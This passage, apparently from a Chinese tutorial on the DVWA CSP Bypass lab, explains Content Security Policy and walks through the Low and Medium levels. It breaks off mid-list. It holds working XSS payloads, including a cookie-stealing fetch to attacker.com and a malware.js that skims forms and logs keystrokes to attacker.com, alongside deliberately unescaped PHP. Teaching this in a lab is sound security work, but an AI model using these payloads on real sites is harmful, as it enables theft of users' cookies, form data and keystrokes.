0%

DVWA - CSP Bypass 攻防练习详解

目录


漏洞简介

什么是CSP(Content Security Policy)?

CSP(内容安全策略)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击。

CSP的目的:

  • 防止XSS攻击
  • 防止点击劫持
  • 防止数据注入
  • 限制资源加载来源
  • 限制脚本执行

CSP工作原理:

1
2
3
4
5
6
7
8
浏览器加载页面

读取CSP策略(HTTP头或meta标签)

检查每个资源和脚本

符合策略 → 允许执行
不符合策略 → 阻止并报告

CSP指令类型:

指令 作用 示例
default-src 默认策略 default-src ‘self’
script-src JavaScript来源 script-src ‘self’ ‘unsafe-inline’
style-src CSS来源 style-src ‘self’
img-src 图片来源 img-src * data:
connect-src AJAX/WebSocket来源 connect-src ‘self’
font-src 字体来源 font-src ‘self’
object-src 插件来源 object-src ‘none’
frame-src iframe来源 frame-src ‘self’

CSP关键字:

  • 'none' - 不允许任何来源
  • 'self' - 只允许同源
  • 'unsafe-inline' - 允许内联脚本(不安全)
  • 'unsafe-eval' - 允许eval()(不安全)
  • 'nonce-{random}' - 允许带指定nonce的脚本
  • 'sha256-{hash}' - 允许指定哈希的脚本
  • https: - 只允许HTTPS
  • *.example.com - 允许指定域名

什么是CSP Bypass(CSP绕过)?

CSP Bypass是指攻击者通过各种技巧绕过CSP策略,执行未授权的脚本或加载恶意资源。

常见CSP Bypass技术:

  1. 不安全的配置 - 'unsafe-inline', 'unsafe-eval'
  2. 白名单域名 - 利用白名单中的JSONP端点
  3. Nonce/Hash泄露 - 获取合法脚本的nonce
  4. Base标签注入 - 改变相对路径的基准
  5. 文件上传漏洞 - 上传到允许的域名
  6. 开放重定向 - 利用允许域名的重定向

危害:

  • 绕过XSS防护
  • 执行任意JavaScript
  • 窃取敏感数据
  • 完全控制页面

Low 难度

攻击目标

没有设置CSP或CSP配置极其宽松,完全无防护。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

// ★★★ Low难度:完全没有CSP防护 ★★★
// 没有设置任何CSP HTTP头
// 任何脚本都可以执行

// 获取用户输入
$name = $_GET['name'];

// ★★★ 危险操作:直接输出用户输入,无任何过滤 ★★★
// 没有htmlspecialchars()编码
// 没有strip_tags()过滤
// 完全未防护的XSS漏洞
echo "Hello, " . $name;

?>

HTML部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html>
<head>
<title>CSP Bypass - Low</title>
<!-- ★★★ 问题:完全没有CSP meta标签 ★★★ -->
<!-- 应该有: -->
<!-- <meta http-equiv="Content-Security-Policy" content="..."> -->
</head>
<body>
<h1>CSP Bypass Test</h1>

<form method="GET">
<input type="text" name="name" placeholder="Your name">
<button type="submit">Submit</button>
</form>

<div id="output">
<?php
// 直接输出用户输入
// 没有任何防护
if(isset($_GET['name'])) {
echo "Hello, " . $_GET['name'];
}
?>
</div>
</body>
</html>

漏洞分析

核心问题:

  1. 无CSP策略 - 没有设置Content-Security-Policy头
  2. 无输入过滤 - 直接输出用户输入
  3. 无输出编码 - 不使用htmlspecialchars()
  4. 所有脚本可执行 - 内联、外部、eval()全部允许

HTTP响应头(缺失CSP):

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: Apache/2.4.41
Content-Type: text/html; charset=UTF-8
<!-- ★★★ 缺少 Content-Security-Policy 头 ★★★ -->

<!DOCTYPE html>
...

攻击步骤

步骤1:基础XSS攻击(无CSP阻止)

1
2
3
4
5
6
7
8
9
10
<!-- 攻击1:<script>标签 -->
?name=<script>alert('XSS')</script>

<!-- 攻击2:事件处理器 -->
?name=<img src=x onerror=alert('XSS')>

<!-- 攻击3:外部脚本 -->
?name=<script src="http://evil.com/xss.js"></script>

<!-- 所有攻击都会成功,因为没有CSP防护 -->

步骤2:窃取Cookie

1
2
3
?name=<script>
fetch('http://attacker.com/steal.php?c=' + document.cookie);
</script>

步骤3:加载外部恶意脚本

1
?name=<script src="http://attacker.com/malware.js"></script>

malware.js内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 完全控制页面
document.body.innerHTML = '<h1>Hacked!</h1>';

// 窃取所有表单数据
document.querySelectorAll('form').forEach(form => {
form.addEventListener('submit', e => {
e.preventDefault();
fetch('http://attacker.com/steal', {
method: 'POST',
body: new FormData(form)
});
});
});

// 键盘记录
document.addEventListener('keypress', e => {
fetch('http://attacker.com/log?key=' + e.key);
});

步骤4:使用eval()

1
2
<!-- eval()可以正常执行 -->
?name=<script>eval('alert("XSS")')</script>

Medium 难度

攻击目标

设置了基础CSP,但配置不当,可以绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

// ★★★ Medium难度:设置了CSP,但存在漏洞 ★★★
// 设置CSP HTTP响应头
// script-src - 限制JavaScript来源
// 'self' - 允许同源脚本
// 'unsafe-inline' - 允许内联脚本(危险!)
//
// 问题:
// 1. 'unsafe-inline'使CSP几乎失效
// 2. 任何内联的<script>标签都可以执行
// 3. 事件处理器(onclick, onerror等)可以执行
// 4. javascript: URI可以执行
header("Content-Security-Policy: script-src 'self' 'unsafe-inline';");

$name = $_GET['name'];

// 仍然没有输出编码
echo "Hello, " . $name;

?>

CSP策略解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Content-Security-Policy: script-src 'self' 'unsafe-inline';

script-src - JavaScript源控制
'self' - 允许同源JavaScript文件
'unsafe-inline' - 允许内联脚本

允许:
<script>alert(1)</script>
✓ <img onerror=alert(1)>
<a href="javascript:alert(1)">
<script src="/local.js"></script>

阻止:
<script src="http://evil.com/xss.js"></script>

新增防护

  1. CSP策略 - 限制脚本来源为同源
  2. 阻止外部脚本 - 不允许加载外部域的JavaScript

仍存在的漏洞

关键问题:'unsafe-inline'

这是CSP中最危险的配置,允许:

  1. 内联